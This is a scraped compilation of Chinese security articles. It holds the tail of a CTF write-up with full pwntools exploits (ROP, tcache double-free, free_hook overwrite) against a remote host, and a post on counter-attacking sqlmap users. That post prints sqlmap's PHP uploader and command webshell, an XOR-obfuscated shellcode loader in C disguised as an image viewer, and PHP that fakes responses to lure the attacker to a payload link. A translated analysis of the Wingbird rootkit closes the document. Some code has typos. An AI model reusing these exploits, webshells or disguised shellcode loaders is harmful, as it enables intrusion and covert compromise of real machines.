data.append(j)
break
_pixels = []
for i in range(len(data)):
_pixels.append(re_turn(pixels[i] [i]))
p1 = Image.new('RGB',(a,b))
for x in range(a):
for y in range(b):
p1.putpixel((x,y),_pixels[x] [y])
p1.save('flag.png')
#### flag
flag{15e411a6efb9bfab823db05fcad16bff}
* * *
### sign_in
#### Description
66 6c 61 67 7b 39 35 63 35 62 66 33 32 32 39 32 64 37 35 66 35 37 61 35 30 36
37 36 66 36 61 62 35 64 64 38 33 7d
#### Analyze
转 16 进制
#### flag
flag{95c5bf32292d75f57a50676f6ab5dd83}
* * *
### 加 密 对 话
#### Description
阿巴阿巴歪比巴布
#### Analyze
第一部分是简单的替换密码，替换回二进制即可，第二部分是 javaAES 解密，根据给的 AES 加密即可
#### Solve
替换密码：
python
from Crypto.Util import number
s = '''abaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuabaaba
abaabawaibibabuabaabawaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabu
abaabaabaabawaibibabuwaibibabuwaibibabuabaabaabaaba
abaabaabaabaabaabawaibibabuabaabawaibibabu
abaabaabaabawaibibabuwaibibabuwaibibabuabaabawaibibabu
abaabaabaabaabaabawaibibabuabaabawaibibabuabaaba
abaabaabaabawaibibabuabaabawaibibabuwaibibabu
abaabaabaabawaibibabuabaabaabaabawaibibabu
abaabaabaabaabaabawaibibabuwaibibabuabaabawaibibabu
abaabawaibibabuabaabawaibibabuwaibibabuwaibibabuabaaba
abaabaabaabawaibibabuwaibibabuwaibibabuabaaba
abaabawaibibabuabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuabaabaabaabaabaabawaibibabu
abaabaabaabaabaabaabaabawaibibabuwaibibabuabaaba
abaabaabaabaabaabawaibibabuabaabaabaabawaibibabu
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuwaibibabu
abaabaabaabaabaabawaibibabuabaabaabaabaabaaba
abaabawaibibabuwaibibabuabaabawaibibabuwaibibabuwaibibabu
abaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabuabaaba
abaabaabaabawaibibabuabaabawaibibabuabaabawaibibabu
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaabawaibibabu
abaabawaibibabuabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuabaabaabaabawaibibabuwaibibabu
abaabawaibibabuwaibibabuabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabaabaaba
abaabawaibibabuwaibibabuabaabaabaabaabaabaabaaba
abaabawaibibabuabaabaabaabawaibibabuwaibibabuabaaba
abaabawaibibabuabaabawaibibabuabaabaabaabawaibibabu
abaabaabaabawaibibabuabaabawaibibabuabaabawaibibabu
abaabawaibibabuwaibibabuabaabawaibibabuwaibibabuabaaba
abaabawaibibabuabaabaabaabaabaabaabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuwaibibabuwaibibabuabaabaabaaba
abaabaabaabaabaabaabaabawaibibabuwaibibabuwaibibabu
abaabaabaabaabaabaabaabawaibibabuwaibibabuwaibibabu
abaabawaibibabuabaabawaibibabuwaibibabuwaibibabuabaaba
abaabaabaabawaibibabuabaabaabaabawaibibabu
abaabaabaabawaibibabuabaabaabaabawaibibabuwaibibabu
abaabaabaabawaibibabuwaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuabaabawaibibabuabaabaabaaba
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuwaibibabu
abaabawaibibabuwaibibabuabaabawaibibabuabaabawaibibabu
abaabaabaabaabaabawaibibabuwaibibabuabaabaabaaba
abaabawaibibabuwaibibabuabaabaabaabawaibibabuwaibibabu
abaabaabaabawaibibabuabaabawaibibabuwaibibabu
abaabawaibibabuabaabaabaabawaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuabaabaabaabaabaabawaibibabu
abaabawaibibabuabaabaabaabaabaabaabaaba
abaabawaibibabuwaibibabuabaabawaibibabuwaibibabuabaaba
abaabaabaabaabaabawaibibabuwaibibabuabaabawaibibabu
abaabaabaabaabaabawaibibabuwaibibabuabaaba
abaabawaibibabuabaabawaibibabuabaabaabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuwaibibabu
abaabawaibibabuabaabawaibibabuabaabaabaaba
abaabawaibibabuwaibibabuwaibibabuabaabaabaabawaibibabu
abaabaabaabaabaabawaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaabaabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaabaabaaba
abaabawaibibabuwaibibabuabaabawaibibabuwaibibabuabaaba
abaabaabaabaabaabawaibibabuabaabaabaabaabaaba
abaabaabaabaabaabawaibibabuabaabawaibibabuwaibibabu
abaabaabaabaabaabawaibibabuwaibibabuwaibibabuwaibibabu
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuabaaba
abaabaabaabawaibibabuabaabaabaabaabaabawaibibabu
abaabawaibibabuwaibibabuwaibibabuabaabaabaabaabaaba
abaabawaibibabuabaabawaibibabu
abaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuabaabawaibibabuabaaba
abaabawaibibabuabaabawaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuwaibibabuwaibibabuwaibibabuwaibibabu
abaabaabaabawaibibabuabaabawaibibabuabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabawaibibabuabaaba
abaabaabaabaabaabaabaabawaibibabuwaibibabuabaaba
abaabaabaabaabaabawaibibabuabaabawaibibabu
abaabawaibibabuabaabawaibibabuabaabaabaabawaibibabu
abaabawaibibabuabaabaabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabaabaabaabaaba
abaabaabaabawaibibabuabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabawaibibabuwaibibabu
abaabawaibibabuabaabaabaabaabaabaabaabaabaaba
abaabaabaabawaibibabuabaabawaibibabuwaibibabuabaaba
abaabaabaabaabaabawaibibabuwaibibabuabaabaabaaba
abaabawaibibabuabaabaabaabaabaabaabaabaabaaba
abaabaabaabaabaabawaibibabuwaibibabuabaabaabaaba
abaabaabaabawaibibabuabaabaabaabaabaabaabaaba
abaabawaibibabuabaabaabaabaabaabaabaabaabaaba
abaabaabaabaabaabawaibibabuwaibibabuwaibibabuwaibibabu
abaabaabaabawaibibabuabaabaabaabaabaabaabaaba
abaabaabaabaabaabawaibibabuabaabaabaabaabaaba
abaabaabaabawaibibabuwaibibabuabaabawaibibabuabaaba
abaabaabaabaabaabawaibibabuwaibibabuabaabawaibibabu
abaabaabaabawaibibabuwaibibabuabaabaabaabawaibibabu
abaabaabaabaabaabawaibibabuabaabawaibibabuabaaba
abaabaabaabawaibibabuabaabaabaabawaibibabuwaibibabu
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaaba
abaabawaibibabuwaibibabuwaibibabuwaibibabuabaaba'''.replace('abaaba','1').replace('waibibabu','0')
enc = s.split('\n')
res = b''
for i in enc:
res += number.long_to_bytes(int(i,2))
print(res.decode())
得到
AES`c:bu46rQ1/nyvDwHAjB/lO33OYVjI/CcxxQ6lckDJsL4YCn/Ir9+AD+F9CCIwtpEnG
AES`key:V_god_is_so_powerful!!
AES：
package CTF;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.nio.charset.StandardCharsets;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
public class AESDecode {
public static byte[] [] content,String Pass){
try {
KeyGenerator key = KeyGenerator.getInstance("AES");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.setSeed(Pass.getBytes());
key.init(128, random);
SecretKey secretKey = key.generateKey();
byte[] enCodeFormat = secretKey.getEncoded();
SecretKeySpec Key = new SecretKeySpec(enCodeFormat, "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE,Key);
return cipher.doFinal(content);
} catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException | BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) throws IOException {
String Pass = "V_god_is_so_powerful!!";
String c = "bu46rQ1/nyvDwHAjB/lO33OYVjI/CcxxQ6lckDJsL4YCn/Ir9+AD+F9CCIwtpEnG";
byte[] b_c = Base64.getDecoder().decode(c);
byte[] dec = AESEncode.decrypt(b_c,Pass);
System.out.print(new String(dec));
}
}
**flag{b80c4dd8b4a445f8041ebca018791e38}**
## pwn
### backdoor
考点：数组越界、栈残留数据
分析：在 func1 中输入的字符串，函数返回后还会留在内存空间，绕过 func2 验证，之后将返回地址修改为后门函数
exp:
python
#!/usr/bin/python
from pwn import *
context.log_level='debug'
#p = process('./backdoor_for_jianjian')
p = remote('121.41.13.20','32773')
#gdb.attach(p,'b *0x40086F')
p.recvuntil('(y/n)')
p.send('a'*108+p32(0x8180754))
p.recvuntil('required!')
p.send(p64(0))
p.recvuntil('success!')
p.sendline('a'*0x18+p64(0x4007C3))
p.interactive()
### suggestion_box
考点：栈迁移
分析：
1.第一次输入在 bss 中布置好泄露地址和 getshell 的 rop 链
2.第二次输入劫持返回地址后用两个 `leave ret` “ 把栈迁移到 bss 段
exp:
python
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p = process('./suggestion_box')
p = remote('121.41.13.20',32775)
elf = ELF('./suggestion_box')
libc=ELF("./libc-2.23.so")
#gdb.attach(p,'b *0x400707')
pop_rdi = 0x400783
puts=elf.plt['puts']
puts_got=elf.got['puts']
read = 0x400682
leave = 0x40069c
p.recvuntil('suggestions:')
p.send('a'*8*10+p64(0x602040+80)+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(read))
p.recvuntil('.\n')
p.send('\x01'*0x10+p64(0x602040+80)+p64(leave))
puts=u64(p.recv(6).ljust(8,'\x00'))
print hex(puts)
libcbase=puts-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search("/bin/sh\x00").next()
p.send('a'*8*10+p64(0x602040+100)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))
p.interactive()
### BabyTcache
考点：
Tcache、构造重叠的堆块、利用 IO_FILE 结构体泄露 libc
分析：
1.利用改写 IO_write_base 泄露 libc
2.利用程序中的 Off by one 漏洞实现 double free
3.可以通过申请 7 个以上的 chunk 或者改写 chunk size 绕过程序对申请 chunk 大小的限制
exp：
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='babytcache'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote("121.41.13.20",32772)
e=ELF("./"+binary_name)
libc=ELF("./libc-2.27.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(len,data):
sla("Please input your choice:",'1')
sla("The length of your info:",str(len))
ru("Data:")
sd(data)
def dele(idx):
sla("Please input your choice:",'2')
sla("Index:",str(idx))
add(0x10,'a')
add(0x400,'a')
add(0x60,'a')
add(0x30,'a')
add(0x20,'a')
dele(0)
pd='a'*0x18+'\xc1'
add(0x18,pd)
dele(1)
dele(2)
dele(3)
add(0x400,'a')
pd='\x60\x97'
add(0x10,pd)
add(0x60,'a')
pd=p64(0xfbad1800)+p64(0)*3+'\x00'
add(0x60,pd)
p.recv(0x80)
leak_addr=leak_address()
libc_base=leak_addr-libc.sym['_IO_2_1_stderr_']-128
print hex(libc_base)
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
add(0x20,'a')
pd='a'*0x20+p64(free_hook)
add(0x40,pd)
add(0x30,'/bin/sh\x00')
add(0x30,p64(system))
dele(8)
p.interactive()
### Containers
框架与 De1ctf 的 STL Containers 一样，漏洞是常见的 C++程序错误：含有指针类型的对象需要实现深拷贝函数和赋值运算符重载，否则在使用
STL 函数时实际上传递的只是指针，所指向的内存空间是相同的，就会造成 double free。在这道题的源码中没有实现赋值运算符重载函数，在 vector
的 add 操作中通过赋值运算后再传递给 push_back 函数。实际上，如果觉得
C++反汇编代码分析起来比较费时可以直接运行调试，不难发现这一点。接下来就是利用漏洞点，泄露地址后改写 free_hook 为 system 函数。
exp：
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='containers'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote("121.41.13.20",32774)
e=ELF("./"+binary_name)
libc=ELF("./libc-2.27.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(container,data):
sla("Input your choice:",str(container))
sla("Input your choice:",'1')
ru("input data:")
sd(data)
def dele(container):
sla("Input your choice:",str(container))
sla("Input your choice:",'2')
def dele2(container,idx):
sla("Input your choice:",str(container))
sla("Input your choice:",'2')
sla("Index:",str(idx))
def show(container,idx):
sla("Input your choice:",str(container))
sla("Input your choice:",'3')
sla("Index:",str(idx))
#z('b *(0x555555554000+0x20BB)\nb *(0x555555554000+0x1FD9)\nb *(0x555555554000+0x201B)')
add(1,'a')
add(1,'a')
add(3,'a')
add(3,'a')
add(4,'a')
add(4,'a')
dele2(1,0)
dele2(1,1)
dele(3)
dele(3)
dele(4)
dele(4)
add(2,'a')
dele(2)
add(2,'a')
dele(2)
add(1,'a')
dele2(1,0)
add(2,'a')
dele(2)
show(1,0)
leak_addr=leak_address()
libc_base=leak_addr-libc.sym['__malloc_hook']-96-0x10
print hex(libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
add(4,p64(free_hook))
add(3,p64(system))
add(4,'/bin/sh\x00')
p.interactive() | 社区文章 |
# sqlmap --os-shell反制小思路
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前有看到goby反制和松鼠A师傅[蚁剑反制](https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ)的文章，再想到之前写过sqlmap的shell免杀，觉得思路其实差不多，就写一篇sqlmap的反制吧。
## sqlmap流量分析
（其实可以通过分析解密后sqlmap内置的backdoor后门文件（[文章链接](https://www.freebuf.com/articles/web/291576.html)））
具体sqlmap的攻击流程差不多是这样：
> 1. 测试链接是否能够访问
> 2. 判断操作系统版本
> 3. 传递一个数组，尝试爆绝对路径
> 4. 指定上传路径
> 5. 使用lines terminated by 写入一个php文件，该php文件可以进行文件上传
> 6. 尝试找到上传的文件的访问路径；直到找到正确的路径
> 7. 通过上传的临时文件，尝试上传另外一个php文件， 该文件可以进行命令执行
> 8. 尝试进行命令执行 echo command execution test
> 9. 直接输入对应的命令
> 10. 退出 -–os-shell后删除命令马
>
然后我们反制思路其实大概分为两个
* 一个是通过打开的页面嵌入js来直接执行命令
* 另一个是通过打开钓鱼页面（比如flash钓鱼那种）
这两个相比而言其实各有优点，但我决定结合一下😯
**通过打开的页面来下载图片马，然后进行rce**
## 制作
图片马里面的程序用C写的，用异或做了免杀（和其他师傅学习的）
这个是引用的头文件
//{{NO_DEPENDENCIES}}
//
#define IDR_IMAGE1 101
#define IDI_ICON1 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
这个才是C脚本
#include<graphics.h>
#include<conio.h>
#include<iostream>
#include "resource.h"
using namespace std;
void image() {
IMAGE img;
loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));
int w, h;
w = img.getwidth();
h = img.getheight();
initgraph(w, h);
putimage(0, 0, &img);
getchar();
closegraph();
}
int main()
{
unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24";
unsigned char key[] = "\x09\xab";
unsigned char aa[] = "\x32\xff";
DWORD dw_size = sizeof shellc0de;
int i;
for (i = 0; i < dw_size; i++) {
shellc0de[i] ^= key[1];
shellc0de[i] = aa[1] - shellc0de[i];
}
LPVOID men = CoTaskMemAlloc(sizeof shellc0de);
DWORD lpflOldProtect = 0;
UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de);
VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect);
GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de);
HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);
WaitForSingleObject(handle, -1);
image();
return 0;
}
图片自己选一张然后生成马就行
马弄得差不多了，接下来看看sqlmap的流量分析
## 分析&构造
众所周知，sqlmap会使用lines terminated by 写入一个php文件，可以进行文件上传。
<?php
// 判断是否有一个upload的值传过来
if (isset($_REQUEST["upload"]))
{
// 将uploadDir赋值给绝对路径
$dir = $_REQUEST["uploadDir"];
// 判断php版本是否小于4.1.0
if (phpversion() < '4.1.0')
{
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
}
else
{
$file = $_FILES["file"]["name"];
// 完成上传
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
}
// 设置权限
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
}
else
{
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\XXX\\XXXX> <input type=submit name=upload value=upload></form>";
}
然后找绝对路径，上传下面这个真正的命令马。
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)) {
$z=preg_replace("/[, ]+/",',',$z);
$z=explode(',',$z);
$z=array_map("trim",$z);
} else {
$z=array();
}
$c=$c." 2>&1\n";// 将命令与 2>&1进行拼接
function f($n) {
global $z;
return is_callable($n)and!in_array($n,$z);//is_callable函数检查f($n)在当前环境中是否可调用
}
if(f("system")) {
ob_start();
system($c);
$w=ob_get_clean();//返回输出缓冲区的内容,清空（擦除）缓冲区并关闭输出缓冲
} elseif(f("proc_open")) {
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])) {//feof函数检查是否已到达文件末尾（EOF)
$w.=fread($t[1],512);
}
@proc_close($y);
} elseif(f("shell_exec")) {
$w=shell_exec($c);
} elseif(f("passthru")) {
ob_start();
passthru($c);
$w=ob_get_clean();
} elseif(f("popen")) {//popen()函数通过创建一个管道，调用 fork 产生一个子进程，执行一个 shell 以 运行命令 来开启一个进程。这个进程必须由 pclose () 函数关闭
$x=popen($c,r);
$w=NULL;
if(is_resource($x)) {
while(!feof($x)) {
$w.=fread($x,512);//fread() 函数读取文件（可安全用于二进制文件）。512:读取的最大字节数。
}
}
@pclose($x);// pclose()函数关闭标准 I/O 流，等待命令执行结束，然后返回 shell 的终止状态。
} elseif(f("exec")) {
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
} else {
$w=0;
}
echo"<pre>$w</pre>";
?>
而最后的返回包，webshell获取了网站目录、数据库类型等信息。
这个时候，我们可以写一个伪造的sqlmap的”webshell“
echo "SORRY"; preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
$txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
echo "$txt";//伪造连通
然后搭配上挂马图片的下载链接
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A)!=0) {
preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A，$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
$payload='http://shell.com/index.html';
echo 'WARN://'."\n".'数据上传成功，但与flash进行交互，请访问该网址进行shell链接。SQLMAP：'."$payload";
## 一代目
php写的不好，可能有点不符合sqlmap返回包的形式，以后我慢慢改吧
<?php
$A=urldecode(file_get_contents("php://input"));
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A)!=0) {
preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A，$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
$payload='http://exp.com/index.html';
echo 'WARN://'."\n".'数据上传成功，但与flash进行交互，请访问该网址进行shell链接。SQLMAP：'."$payload";//随便写，诱惑别人点进去。反正我是不信sqlmap会用flash
} else {
echo "SORRY";
preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//将命令执行函数替换掉
$txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";
echo "$txt";//伪造连通性
}
## 反思
其实这个想法我感觉可能不太好，在连通性处写的可能有问题，我的wireshark有点问题，一直抓不了本地的流量包，只能看我终端返回的内容进行伪造了=_=
如果可以的话，师傅们可以抓本地流量包，然后自己改写伪造连通性的脚本。 | 社区文章 |
# 【木马分析】一款惊艳的Rootkit分析- Wingbird
|
##### 译文声明
本文是翻译文章，文章来源：artemonsecurity.blogspot.jp
原文地址：<http://artemonsecurity.blogspot.jp/2017/01/wingbird-rootkit-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
在之前的报告中我已经描述了rootkits是由号称国家发起的用来感染他们的目标的，是用来保持恶意程序潜伏和获取SYSTEM权限的。我曾经提到过Remsec（Cremes）被Strider（ProjectSauron）组织使用、Sedint（Fancy
Bear）是被APT28组织使用。Remsec是被用来在内核执行代码绕过SMEP，Sedint是用来隐藏他们的恶意行为和指纹。
最近一个安全公司调查了多个组织的活动，和我分享了rootkits。在分析时我很惊讶，因为rootkit和它的dropper一样有很好的阻止分析的功能。分析这些rootkits花了很多时间，因为它具有多种反分析能力。Rootkit和dropper的文件大小会变大，因为用了代码混淆和花指令。
“目标”的概念总是作为复杂攻击的属性在安全社区被讨论，经常有些国家发起的活动。在过去我们看见很多活动用了特有的可执行文件，这些文件有特定的目标。本文中讨论的恶意程序满足这些特点。这个恶意程序的组织曾被Microsoft
MMPC和Security
Intelligence报告过。这个组织被称为“NEODYMIUM”，这个恶意程序被称为“Wingbird”。它和之前赛门铁克发现的Finfisher有点相似。
**0x01 Dropper1**
第一个dropper有以下特点：
有多种反静态和动态分析的手段。包含多种对抗反汇编/调试/虚拟机/转储的特点。
包含跳转到指令中间的混淆代码，花指令，无用的检测，无用的跳转等
由于大量的花指令，dropper大小比较大（1.3MB）
被设计成尽量延迟分析
在系统中安装rootkit
释放的rootkit的名字是logonsrv.dat
只为了释放rootkit
.text节的熵值很高，说明代码被加密和混淆。
Dropper和rootkit的PE头中的时间戳看起来都是合法的。
在dropper中典型的结尾。
所有函数跳转同一代码。
包含无用跳转的混淆代码。
下面是ring0 rootkit的特点。
混淆代码，加大静态和动态分析的难度
包含加密代码和数据
没有创建设备对象，不与应用层通信
在内核中不做任何挂钩
只为了隐藏注入恶意代码到受信任的Winlogon进程
自我修改代码，例如，能用另一个地址或寄存器修改重要的call或jmp指令
设计的尽量隐蔽，在注入Winlogon之后就卸载驱动
检测ESET的驱动（ehdrv.sys），移除挂钩的SSDT
在执行主要功能前，准备了一些工作。
分配两个非分页内存块。一个大小是0x56000，另一个是0x10000.
第一个buffer用来存储新创建的驱动（在内存中），第二个用来存储一些NT内核API的跳板函数
创建0x2F个IAT项，用来存储新创建的驱动的节信息。但是不直接用这个IAT，而是利用这些地址，用它来修改指令和变量
值得注意的是作者做了尽量多的事情来使内存中的rootkit更加复杂。有经验的人用过ARK工具检测也会遇到麻烦。
不用原始的映像（logonsrv.dat）来做主要的事情
不依赖内存连续的IAT
在两个分配的内存块中做主要的事情。一个块用来作为一些NT内核API的跳板函数
在做主要工作前调用KeDelayExecution函数，例如在注入Winlogon之前
下面可以看到第二个分配内存中的代码，包含了一些跳板函数。另一份来自第一个buffer中的代码用来自IAT的地址重写这些跳板函数。
在预备工作最后，rootkit调用ZwOpenKey打开它的注册表键，用ZwQueryValueKey读取ImagePath值。两个调用指令如下：
在调用ZwQueryValueKey之后，代码在次被修改成调用PsCreateSystemThread。
用PsCreateSystemThread创建了两个线程，一个线程用来做主要的恶意的工作。下图中你能看到执行流程。它准备要注入到Winlogon的代码，读取KnownDllsntdll.dll。rootkit也导入KeServiceDescriptorTable变量，获取KiServiceTable地址，恢复ssdt。
似乎只有一个函数没有被混淆。这个函数用来枚举内核模块。这块代码被调用多次，用来获取NT基地址。在上面能看到，作者对NT内核文件感兴趣，因为要恢复SSDT函数。
注意到作者在rootkit用了和dropper一样的混淆。我们在rootkit中发现一些函数的重建。
如上图所见，所有函数都经过花指令混淆，指向同一代码。
有趣的是在dropper和rootkit的启动代码中是没有混淆的。考虑到上述信息和这个事实，似乎是源代码级别的混淆代码的工具。
Rootkit在Winlogon进程中分配了3块内存。大小分别是0x100000，0x3000和0x48000。下面是rootkit用到的Ntoskrnl的函数。
**0x02 Dropper2**
有以下特点：
和dropper1一样，用了很多反静态和动态分析的方法
有相同的大小1.3MB
释放的rootkit的名字是ndisclient.dat
一些行为如下。
驱动的一些特征：
